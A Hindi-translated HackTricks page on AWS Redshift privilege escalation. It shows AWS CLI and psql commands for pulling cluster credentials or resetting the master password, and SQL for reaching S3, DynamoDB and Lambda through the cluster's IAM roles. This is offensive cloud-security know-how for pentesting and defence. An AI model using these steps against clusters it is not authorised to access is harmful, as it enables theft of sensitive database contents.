AWS - Redshift Privesc

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS रेड टीम एक्सपर्ट)!

HackTricks का समर्थन करने के अन्य तरीके:

Redshift

RDS के बारे में अधिक जानकारी के लिए देखें:

pageAWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

इन अनुमतियों के साथ आप सभी क्लस्टरों की जानकारी (नाम और क्लस्टर उपयोगकर्ता सहित) प्राप्त कर सकते हैं और इसे एक्सेस करने के लिए प्रमाण पत्र प्राप्त कर सकते हैं:

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

संभावित प्रभाव: डेटाबेस में संवेदनशील जानकारी खोजें।

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

इन अनुमतियों के साथ आप सभी क्लस्टरों की जानकारी प्राप्त कर सकते हैं और इसे एक्सेस करने के लिए प्रमाणपत्र प्राप्त कर सकते हैं। ध्यान दें कि पोस्टग्रेस उपयोगकर्ता के पास वह अनुमतियाँ होंगी जो IAM पहचान जिसका उपयोग प्रमाणपत्र प्राप्त करने के लिए किया गया है।

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

संभावित प्रभाव: डेटाबेस में संवेदनशील जानकारी खोजें।

redshift:DescribeClusters, redshift:ModifyCluster?

यह संभव है कि आप aws cli से आंतरिक postgres (redshit) उपयोगकर्ता का मास्टर पासवर्ड संशोधित करें (मुझे लगता है कि ये अनुमतियाँ आपको चाहिए लेकिन मैंने अभी तक इसे परीक्षण नहीं किया है):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

संभावित प्रभाव: डेटाबेस में गोपनीय जानकारी खोजना।

बाह्य सेवाओं तक पहुंचना

निम्नलिखित सभी संसाधनों तक पहुंचने के लिए, आपको उपयोग करने के लिए भूमिका निर्दिष्ट करनी होगी। रेडशिफ्ट क्लस्टर को AWS भूमिकाओं की सूची सौंपी जा सकती है जिन्हें आप उपयोग कर सकते हैं अगर आप ARN जानते हैं या आप बस "डिफ़ॉल्ट" सेट कर सकते हैं उपयोग करने के लिए जो डिफ़ॉल्ट सौंपी गई है।

इसके अतिरिक्त, जैसा कि यहाँ स्पष्ट किया गया है, रेडशिफ्ट भी भूमिकाओं को जोड़ने की अनुमति देता है (जब तक पहला वाला दूसरे को मान सकता है) ताकि आप आगे की पहुंच प्राप्त कर सकें लेकिन उन्हें बस कॉमा के साथ अलग करके सेट करें: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

लैम्बडा

जैसा कि https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html में स्पष्ट किया गया है, रेडशिफ्ट से लैम्बडा फ़ंक्शन को कॉल करना संभव है कुछ इस प्रकार:

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

जैसा कि https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html में स्पष्ट किया गया है, S3 बकेट में पढ़ने और लिखने की संभावना है:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

डायनामो

जैसा कि https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html में स्पष्ट किया गया है, डायनामोडीबी से डेटा प्राप्त करना संभव है:

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

डेटा प्रदान करने वाला अमेज़न डाइनामोडीबी टेबल आपके क्लस्टर के साथ एक ही AWS क्षेत्र में बनाया जाना चाहिए, यदि आप REGION विकल्प का उपयोग नहीं करते हैं तो जिस AWS क्षेत्र में अमेज़न डाइनामोडीबी टेबल स्थित है, उसे निर्दिष्ट करने के लिए।

EMR

जांच करें https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated